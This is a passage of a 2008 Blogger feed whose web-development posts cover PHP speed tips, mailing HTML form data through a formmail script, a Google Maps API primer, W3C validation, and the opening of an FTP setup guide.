regex&lt;br /&gt;&lt;br /&gt;# str_replace is faster than preg_replace, but strtr is faster than str_replace by a &lt;br /&gt;factor of 4&lt;br /&gt;&lt;br /&gt;# If the function, such as string replacement function, accepts both arrays and &lt;br /&gt;single characters as arguments, and if your argument list is not too long, consider &lt;br /&gt;writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.&lt;br /&gt;&lt;br /&gt;# It's better to use switch statements than multi if, else if, statements.&lt;br /&gt;&lt;br /&gt;# Error suppression with @ is very slow.&lt;br /&gt;&lt;br /&gt;# Turn on apache's mod_deflate&lt;br /&gt;&lt;br /&gt;# Close your database connections when you're done with them&lt;br /&gt;&lt;br /&gt;# $row[’id’] is 7 times faster than $row[id]&lt;br /&gt;&lt;br /&gt;# Error messages are expensive&lt;br /&gt;&lt;br /&gt;# Do not use functions inside of for loop, such as for ($x=0; $x &lt; count($array); &lt;br /&gt;$x) The count() function gets called each time.&lt;br /&gt;&lt;br /&gt;# Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.&lt;br /&gt;&lt;br /&gt;# Incrementing a global variable is 2 times slow than a local var.&lt;br /&gt;&lt;br /&gt;# Incrementing an object property (eg. $this-&gt;prop++) is 3 times slower than a local &lt;br /&gt;variable.&lt;br /&gt;&lt;br /&gt;# Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.&lt;br /&gt;&lt;br /&gt;# Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.&lt;br /&gt;&lt;br /&gt;# Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.&lt;br /&gt;&lt;br /&gt;# Methods in derived classes run faster than ones defined in the base class.&lt;br /&gt;&lt;br /&gt;# A function call with one parameter and an empty function body takes about the same &lt;br /&gt;time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.&lt;br /&gt;&lt;br /&gt;# Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "..." but not inside '...'. Of course you can only do this when you don't need to have variables in the string.&lt;br /&gt;&lt;br /&gt;# When echoing strings it's faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.&lt;br /&gt;&lt;br /&gt;# A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.&lt;br /&gt;&lt;br /&gt;# Your PHP scripts are recompiled every time unless the scripts are cached. Install &lt;br /&gt;a PHP caching product to typically increase performance by 25-100% by removing compile times.&lt;br /&gt;&lt;br /&gt;# Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request&lt;br /&gt;&lt;br /&gt;# When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase &amp; hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.&lt;br /&gt;&lt;br /&gt;Ex.&lt;br /&gt;&lt;br /&gt;if (strlen($foo) &lt; 5) { echo "Foo is too short"; }&lt;br /&gt;&lt;br /&gt;vs.&lt;br /&gt;&lt;br /&gt;if (!isset($foo{5})) { echo "Foo is too short"; }&lt;br /&gt;&lt;br /&gt;Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.&lt;br /&gt;&lt;br /&gt;# When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don't go modifying your C or Java code thinking it'll suddenly become faster, it won't. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.&lt;br /&gt;&lt;br /&gt;# Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.&lt;br /&gt;&lt;br /&gt;# Do not implement every data structure as a class, arrays are useful, too&lt;br /&gt;&lt;br /&gt;# Don't split methods too much, think, which code you will really re-use&lt;br /&gt;&lt;br /&gt;# You can always split the code of a method later, when needed&lt;br /&gt;&lt;br /&gt;# Make use of the countless predefined functions&lt;br /&gt;&lt;br /&gt;# If you have very time consuming functions in your code, consider writing them as C extensions&lt;br /&gt;&lt;br /&gt;# Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview&lt;br /&gt;&lt;br /&gt;# mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8505061761560612749?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8505061761560612749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8505061761560612749' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8505061761560612749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8505061761560612749'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/tips-for-optimizing-your-php-code.html' title='Tips for optimizing your php code'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1282000291350809954</id><published>2008-07-08T10:49:00.000-07:00</published><updated>2008-07-08T10:59:25.897-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>Sending a HTML form values to email inbox</title><content type='html'>Getting the html form data in the email inbox will be a very convenient way to collect user responses very quickly. Except, when you have hundreds of responses per day! Here are the methods you have to get the html form data in your email inbox.&lt;br /&gt;&lt;br /&gt;One quick and simple method is to use the 'mailto:you@yourdomain.com' in the 'action' field of the form. This method is very simple; but has many drawbacks. &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Getting the html form data in the email inbox will be a very convenient way to collect user responses very quickly. Except, when you have hundreds of responses per day! Here are the methods you have to get the html form data in your email inbox.&lt;br /&gt;&lt;br /&gt;One quick and simple method is to use the 'mailto:you@yourdomain.com' in the 'action' field of the form. This method is very simple; but has many drawbacks. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Using a Formmail Script&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A formmail script is a server side script that gathers the data submitted in the form and mails it to a given email address.&lt;br /&gt;&lt;br /&gt;There are many formmail scripts available.&lt;br /&gt;&lt;br /&gt;The following section describes how to use a form mail script&lt;br /&gt;Suppose the URL to the formmail script provided to you is http//someserver/cgi-bin/formmail.pl&lt;br /&gt;&lt;br /&gt;give this URL in the ACTION attribute of your FORM tag&lt;br /&gt;&amp;lt;FORM ACTION="http//someserver/cgi-bin/formmail.pl" METHOD="POST"&amp;gt;&lt;br /&gt;.....Your input elements.....&lt;br /&gt;&amp;lt;/FORM&amp;gt;&lt;br /&gt;&lt;br /&gt;# Now you can give whatever input elements you want within the form tags.&lt;br /&gt;&lt;br /&gt;# There are some information that you should provide to the CGI program (like the email address to which the form-data should be sent)&lt;br /&gt;provide these data as hidden fields in the form&lt;br /&gt;(using &amp;lt;INPUT TYPE="hidden" ......&amp;gt;)&lt;br /&gt;&lt;br /&gt;# Insert the Submit button.&lt;br /&gt;&lt;br /&gt;Over! you are ready with your form.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;The geocities.com form-mail program URL is&lt;br /&gt;http://us.geocities.yahoo.com/forms&lt;br /&gt;&lt;br /&gt;Let us complete the form we were using in our examples using this&lt;br /&gt;form-mail script as the form handler.&lt;br /&gt;&lt;br /&gt;There are some parameters required by this CGI program&lt;br /&gt;Name  Description&lt;br /&gt;login  your yahoo login id&lt;br /&gt;subject  subject line of the mail sent to you by the formmail program&lt;br /&gt;next_url  the URL of the page to be displayed after submitting this page successfully&lt;br /&gt;&lt;br /&gt;We will have to give these parameters as hidden fields.&lt;br /&gt;&lt;br /&gt;&amp;lt;FORM ACTION="http://us.geocities.yahoo.com/forms" METHOD="POST"&amp;gt;&lt;br /&gt;&lt;br /&gt;   Name: &amp;lt;INPUT TYPE="text" NAME="Name" VALUE="" SIZE="25" MAXLENGTH="50"&amp;gt; &amp;lt;BR&amp;gt;&lt;br /&gt;&lt;br /&gt;   Email: &amp;lt;INPUT TYPE="text" NAME="Email" VALUE="" SIZE="25" MAXLENGTH="50"&amp;gt;&amp;lt;BR&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;INPUT TYPE="CHECKBOX" NAME="subscribe" CHECKED&amp;gt; Subscribe me to the News letter &amp;lt;BR&amp;gt;&lt;br /&gt;&lt;br /&gt;   Format of the Email:&amp;lt;BR&amp;gt;&lt;br /&gt;   &amp;lt;INPUT TYPE="radio" NAME="format" VALUE="html" CHECKED&amp;gt; HTML&amp;lt;BR&amp;gt;&lt;br /&gt;   &amp;lt;INPUT TYPE="radio" NAME="format" VALUE="text"&amp;gt; Plain Text&amp;lt;BR&amp;gt;&lt;br /&gt;&lt;br /&gt;   Type of subscription you want:&amp;lt;BR&amp;gt;&lt;br /&gt;   &amp;lt;SELECT NAME="type"&amp;gt;  &lt;br /&gt;     &amp;lt;OPTION VALUE="standard"&amp;gt; Standard - FREE&lt;br /&gt;     &amp;lt;OPTION VALUE="prof"    &amp;gt; Professional - Paid&lt;br /&gt;   &amp;lt;/SELECT&amp;gt;    &amp;lt;BR&amp;gt;&lt;br /&gt;&lt;br /&gt;   Comments to the editor:&amp;lt;BR&amp;gt;&lt;br /&gt;   &amp;lt;TEXTAREA NAME="comments" ROWS="7" COLS="30"&amp;gt;&amp;lt;/TEXTAREA&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;input type="hidden" name="login" value="your_yahoo_id_please"&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;input type="hidden" name="subject" value="Posted From My Form"&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;input type="hidden" name="next_url" value="http://myserver/thankyou.htm"&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;BR&amp;gt;&lt;br /&gt;   &amp;lt;INPUT TYPE="SUBMIT" NAME="submit" VALUE="Sign Me Up!"&amp;gt;&lt;br /&gt;&amp;lt;/FORM&amp;gt;&lt;br /&gt;&lt;br /&gt;When this form is submitted, the form-mail script sends the information submitted, to the email address corresponding to the id given in the hidden field 'login'. The mail will contain the field names and corresponding values as submitted by the user like this:&lt;br /&gt;Name: yourVisitorName&lt;br /&gt;Email: thename@server.com&lt;br /&gt;subscribe:on&lt;br /&gt;format:text&lt;br /&gt;type:standard&lt;br /&gt;comments: your site rocks!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1282000291350809954?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1282000291350809954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1282000291350809954' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1282000291350809954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1282000291350809954'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/sending-html-form-values-to-email-inbox.html' title='Sending a HTML form values to email inbox'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6629210696270211658</id><published>2008-07-06T10:57:00.000-07:00</published><updated>2008-07-06T11:10:50.647-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Maps'/><title type='text'>Google Maps-A brief introduction to developing</title><content type='html'>A number of new geospatial viewing tools from major players in the Internet industry have recently appeared on the scene and are taking the geospatial world by storm. Google, Yahoo, Microsoft and Amazon have all released Web-based mapping tools in the past year, and collectively these new players to the industry have raised the bar for Internet mapping. Although their functional capabilities don’t provide anything we haven’t seen in Web offerings from traditional GIS vendors, their emergence has been significant in that they have managed to capture a wider audience.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;A number of new geospatial viewing tools from major players in the Internet industry have recently appeared on the scene and are taking the geospatial world by storm. Google, Yahoo, Microsoft and Amazon have all released Web-based mapping tools in the past year, and collectively these new players to the industry have raised the bar for Internet mapping. Although their functional capabilities don’t provide anything we haven’t seen in Web offerings from traditional GIS vendors, their emergence has been significant in that they have managed to capture a wider audience.&lt;br /&gt;&lt;br /&gt;Google, in particular, has emerged as the leader of this pack with its recently released Google Maps product. It provides a slick, highly responsive visual interface built using AJAX technologies along with detailed street and aerial imagery data, and an open API allowing customization of the map output including the ability to add application-specific data to the map. To make it even better, Google currently provides access to this service for FREE! In this article we’ll examine some of the basic capabilities provided through the Google Maps product.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What is Google Maps?&lt;/span&gt;&lt;br /&gt;Google Maps provides a highly responsive, intuitive mapping interface with embedded, detailed street and aerial imagery data. In addition, map controls can be embedded in the product to give users full control over map navigation and the display of street and imagery data. Users can also perform map panning through the use of the “arrow” keys on a keyboard, as well as by dragging the map via the mouse. All of these capabilities combine to provide a compelling product, but the primary driver behind its rapid acceptance as an Internet mapping viewer is its ability to customize the map to fit application-specific needs. For instance, a real estate agency might develop a Web-based application that allows end user searching for residential properties to display the results on a Google Maps application. To get a good idea of the diversity of applications that are possible through Google Maps, spend some time at Mike Pegg’s Google Maps Blog.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Google Maps Fundamentals&lt;/span&gt;&lt;br /&gt;At this time, the Google Maps API is a free beta service. However, Google reserves the right to put advertising on the map at any point in the future, so keep this in mind as you begin to develop Google Maps applications. Your applications may also need frequent code changes since this product is still in beta and subject to changes in the API.&lt;br /&gt;&lt;br /&gt;Before you can get started developing Google Maps applications you will need to sign up for an API key. When you sign up for an API key, you must specify a Web site URL that will be used in your development. One problem frequently associated with Google Maps is that you must acquire a unique key for each directory that will serve Google Maps. Google Maps will generate a unique keycode for the directory that you specify. You must use this keycode in each script that accesses the Google Maps API.&lt;br /&gt;&lt;br /&gt;Google also provides documentation for its product, including full documentation of the classes, methods and events available for the Google Maps objects as well as code examples to get you started. In addition, Google provides a blog and discussion group for additional information on using the API.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;A Basic Google Map&lt;/span&gt;&lt;br /&gt;When you sign up with Google Maps, an API key will be generated. Make sure you save this key as you will need it for all Google Maps applications that you develop for the particular URL directory that was specified. In addition to the API key, Google will also generate an example Web page centered on the Palo Alto area (in the vicinity of the Google headquarters). You can copy and paste the HTML and JavaScript generated into a plain text file, save it to the Web server directory you specified when you generated the key, and then display the map in your Web browser.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Beyond the Basics&lt;/span&gt;&lt;br /&gt;The Google Maps API comes with a number of classes that allow you to create maps, add points of interest and polylines to a map, specify various map controls, display info windows, read XML files, and more. In the figure below you’ll see examples of some of the more commonly used objects in the Google Maps API.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_VHplZu23whg/SHEJV8GMkdI/AAAAAAAAALo/GsPp07Up9gg/s1600-h/fig1_sm.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SHEJV8GMkdI/AAAAAAAAALo/GsPp07Up9gg/s320/fig1_sm.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219963715613135314" /&gt;&lt;/a&gt;&lt;br /&gt;Figure 1. (Click for larger image)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GMap&lt;/span&gt;&lt;br /&gt;The GMap class enables you to create map instances. You can create as many map instances as necessary for your application, although most commonly this will only be a single instance. Maps are typically embedded within an HTML container called a&lt;br /&gt;tag. Once you’ve generated an instance of GMap you can use the various methods and properties available on this object to manipulate other aspects of the map such as the controls included, the display of points of interest or polygons, and many other things. Everything in Google Maps flows through an instance of the GMap class.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_VHplZu23whg/SHEJWWJVhJI/AAAAAAAAALw/JPu5QNvPBXw/s1600-h/fig2_sm.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_VHplZu23whg/SHEJWWJVhJI/AAAAAAAAALw/JPu5QNvPBXw/s320/fig2_sm.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219963722605626514" /&gt;&lt;/a&gt;&lt;br /&gt;Figure 2. (Click for larger image)&lt;br /&gt;&lt;br /&gt;GMap can also respond to a whole host of events. Events are simply an external stimulus to the map triggered by the user. Typical events might include the user dragging the map or clicking the map, an overlay marker being added to the map, or the map type changing from regular to aerial. You can write code that responds to any of these and other events. For instance, you might want to add a marker at the point where the user clicks the map, or perhaps you could display the latitude, longitude coordinates of the center of the map after a pan event has occurred.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Map Controls&lt;/span&gt;&lt;br /&gt;Google Map Controls allow the end user to zoom in or out, pan and change the map type between Map, Aerial and Hybrid. Each of these controls can be programmatically added to your map through the addControl method on GMap. For instance, the following code example would be used to add the small map control to a map as you see in the figure below.&lt;br /&gt;&lt;br /&gt;map.addControl(new GSmallMapControl());&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_VHplZu23whg/SHEJWj9RSyI/AAAAAAAAAL4/312PwQuSkho/s1600-h/fig3_sm.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SHEJWj9RSyI/AAAAAAAAAL4/312PwQuSkho/s320/fig3_sm.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219963726313114402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Figure 3. (Click for larger image)&lt;br /&gt;&lt;br /&gt;In addition, you can add an instance of the map type control to your map through the following code example:&lt;br /&gt;&lt;br /&gt;map.addControl(new GMapTypeControl());&lt;br /&gt;&lt;br /&gt;The map type control can be programmatically added to your map alongside a navigation control. For instance, the following code example could be used to generate a map like this. In this example we’ve added an instance of LargeMapControl and MapTypeControl to the map.&lt;br /&gt;&lt;br /&gt;map.addControl(new GLargeMapControl());&lt;br /&gt;map.addControl(new GMapTypeControl());&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Opening Info Windows&lt;/span&gt;&lt;br /&gt;Info Windows can be used to display information about a particular point of interest and are typically opened just above a marker, but could potentially be placed anywhere on a map. Info Windows are opened via the openInfoWindow() method on an instance of GMap. Normally, Info Windows are used to hold HTML information such as text, links and images.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SHEJWmV6g6I/AAAAAAAAAMA/xAHEKe0k_jg/s1600-h/fig4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SHEJWmV6g6I/AAAAAAAAAMA/xAHEKe0k_jg/s320/fig4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219963726953350050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Figure 4.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Map Overlays&lt;/span&gt;&lt;br /&gt;A map overlay refers to a point or polyline that is added on top of the Google Map. Points (GPoint) are the most common type of overlay and are referred to as markers (GMarker). Polylines (GPolyline), composed of two or more points joined together by a vector line, can also be added to a map.&lt;br /&gt;&lt;br /&gt;GPoint (-96.4523, 30.5356)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GMarker _&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_VHplZu23whg/SHEJXqmaw4I/AAAAAAAAAMI/eBtsBV-k2qU/s1600-h/fig5.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SHEJXqmaw4I/AAAAAAAAAMI/eBtsBV-k2qU/s320/fig5.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5219963745276183426" /&gt;&lt;/a&gt;&lt;br /&gt;GPoint and GMarker are used in conjunction to create point markers that can be plotted on a Google Map. An instance of GPoint represents a single, two-dimensional coordinate, whereas GMarker is a type of map overlay that shows an icon at an instance of GPoint.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;GPolyline_&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;GPolyline uses two or more instances of GPoint to create a vector line between the two points. The vector lines generated by GPolyline can be created in various colors, weights, and transparency.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Google Maps Polygons?&lt;/span&gt;&lt;br /&gt;At this time, Google Maps does not provide the ability to generate true polygons, but I suspect that this will change in the near future as the API becomes more robust. However, a third-party developer, XMaps, provides this functionality in its XMaps Library, which is a Google Maps API Extension. This library is in pre-release and can be downloaded from their site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Reading XML Files&lt;/span&gt;&lt;br /&gt;Google Maps also includes the ability to download, open and read XML files through the inclusion of the GXmlHttp class that creates a cross-browser XmlHttpRequest instance. The importance of this ability frequently comes into play when it becomes necessary to read in multiple points of interest. You could store your points of interest along with the coordinates that locate those points in an XML file or auto-generate an XML file from the database where your points of interest are stored.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6629210696270211658?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6629210696270211658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6629210696270211658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6629210696270211658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6629210696270211658'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/google-maps-brief-introduction-to.html' title='Google Maps-A brief introduction to developing'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_VHplZu23whg/SHEJV8GMkdI/AAAAAAAAALo/GsPp07Up9gg/s72-c/fig1_sm.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6587235176678106878</id><published>2008-07-05T01:20:00.000-07:00</published><updated>2008-07-05T01:21:29.967-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='w3c validation'/><title type='text'>The Reality of W3C Validation</title><content type='html'>People seem to worry about the W3C standards and making their website confirm to these standards far too much. Many people hear the buzz words surrounding this term and worry if their website needs to confirm to this, this is understandable as people want their website to be the best they can. So what is the reality of confirming to the W3C standards?&lt;br /&gt;&lt;br /&gt;SEO and the W3C&lt;br /&gt;&lt;br /&gt;Some website Design Company's claim that not confirming to these standards have a negative effect on your SEO. Well I have seen little or no evidence of this. Google itself does not pass the W3C validator&lt;br /&gt;&lt;span class="fullpost"&gt;People seem to worry about the W3C standards and making their website confirm to these standards far too much. Many people hear the buzz words surrounding this term and worry if their website needs to confirm to this, this is understandable as people want their website to be the best they can. So what is the reality of confirming to the W3C standards?&lt;br /&gt;&lt;br /&gt;SEO and the W3C&lt;br /&gt;&lt;br /&gt;Some website Design Company's claim that not confirming to these standards have a negative effect on your SEO. Well I have seen little or no evidence of this. Google itself does not pass the W3C validator. I will admit Google may take it into consideration if it passes validation or not, however, it is a very small part of the equation. The main focus on SEO should be getting quality one-way links to your website.&lt;br /&gt;&lt;br /&gt;You and the W3C Validation&lt;br /&gt;&lt;br /&gt;The reason websites fail the validation process is that there are many different programs and script's running on webpage's these days, made by different vendors and a lot of them don't conform to these standards. Also a client may want special features included in there website that won't conform, so web designers have to do what the client wants.&lt;br /&gt;&lt;br /&gt;Browsers play a big part in this as well, as each browser displays the code of a website slightly differently and to get sites to work cross all browsers some work a-rounds have to be implemented. These work a-rounds can cause your website to fail.&lt;br /&gt;&lt;br /&gt;I think too people worry about the w3c validator and don't focus on the main aims of their website. Your website won't drop out of Google because you website fails, and if it does pass, that doesn't mean that it will generate more revenue for your site.&lt;br /&gt;&lt;br /&gt;If you looking for a website design and SEO company that can help with these issues I would recommend this company. You will also find more information on w3c validation here.&lt;br /&gt;&lt;br /&gt;Although I do think it would be great if all websites confirmed to web standards, however I think we are a while away yet before we see this being the case. We will need to get all companies to work together to ensure this happens, but I'm not optimistic that this will happen. In the mean time why don't we all concentrate on making good quality websites that are accessible to all.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6587235176678106878?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6587235176678106878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6587235176678106878' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6587235176678106878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6587235176678106878'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/reality-of-w3c-validation.html' title='The Reality of W3C Validation'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7873985267080446073</id><published>2008-07-05T01:14:00.000-07:00</published><updated>2008-07-05T01:17:29.919-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><title type='text'>How To Set Up An FTP Site In 6 Easy Steps!</title><content type='html'>An FTP site is an online file storage location that enables users to upload files onto a secure server and share them over the internet.&lt;br /&gt;FTP or File Transfer Protocol is the single most widely used file transfer and sharing program worldwide. An FTP site is simply an online storage location where users can quickly and securely upload, download, store, and share any type and size files they like. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;An FTP site is an online file storage location that enables users to upload files onto a secure server and share them over the internet.&lt;br /&gt;FTP or File Transfer Protocol is the single most widely used file transfer and sharing program worldwide. An FTP site is simply an online storage location where users can quickly and securely upload, download, store, and share any type and size files they like.&lt;br /&gt;&lt;br /&gt;The files can be software, movies, drawings, designs, pictures, etc. In addition, the account holder has the ability to create folders, add users, and control all access privileges to the site and its contents.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Why have an FTP site?&lt;/span&gt;&lt;br /&gt;Beyond being so widely used and accepted, FTP is extremely secure. Some FTP hosting sites provide HIPAA level security, which means information as personal and confidential as patient medical files are safe and secure.&lt;br /&gt;In addition, users can upload an unlimited amount of files regardless of their size. This is particularly helpful if an individual or business owner needs to share large files with others. It also provides a secure location to store files, freeing up valuable memory space on your computer and your customers'. So how do you set up an FTP site?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6 Easy Steps to Set Up your FTP Site:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step One&lt;/span&gt;. Find an FTP hosting service that meets your needs. This is important because not all FTP online file sharing services are created equal. When comparing options be sure to look for:&lt;br /&gt;&lt;br /&gt;# File size limits. Look for a site that offers an option that meets your needs. For example a large business may need 11GB of storage and you only need 2GB, you certainly don't want to have to pay for the 11GB the larger company needs. Make sure your service offers an option that meets your needs.&lt;br /&gt;&lt;br 